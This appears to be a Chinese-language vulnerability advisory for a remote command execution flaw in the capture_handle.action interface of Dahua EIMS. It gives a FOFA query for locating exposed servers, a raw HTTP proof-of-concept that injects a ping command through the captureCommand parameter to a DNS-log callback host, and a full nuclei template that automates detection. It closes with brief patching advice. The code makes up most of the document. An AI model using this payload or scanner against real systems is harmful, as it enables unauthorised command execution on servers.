大华 EIMS-capture_handle.action接口存在远程命令执行漏洞

漏洞描述

大华 EIMS-capture_handle.action接口存在远程命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。

产品界面

fofa语法

title="EIMS"

POC

GET /config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20bbb.z8o3wopy.dnslog.pw%20index.pcap HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/

nuclei验证

id: dahua-EIMS-RCE
info:
  name: 大华 EIMS-capture_handle.action接口远程命令执行
  author: nobody
  severity: critical
  description: |
    大华 EIMS-capture_handle.action接口存在远程命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限.
  impact: |
    攻击者可利用该漏洞远程执行命令
  remediation: |
    升级版本，打补丁，白名单访问
  metadata:
    verified: true
    max-request: 3
    fofa-query: title="EIMS"
  tags: dahua,rce
requests:
  - raw:
      - |
        @timeout:30s
        GET /config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20{{interactsh-url}}%20index.pcap HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"
      - type: word
        part: body
        words:
          - "success"
      - type: status
        status:
          - 200

修复建议

• 升级到最新版本
• 非必要禁止公网访问或白名单访问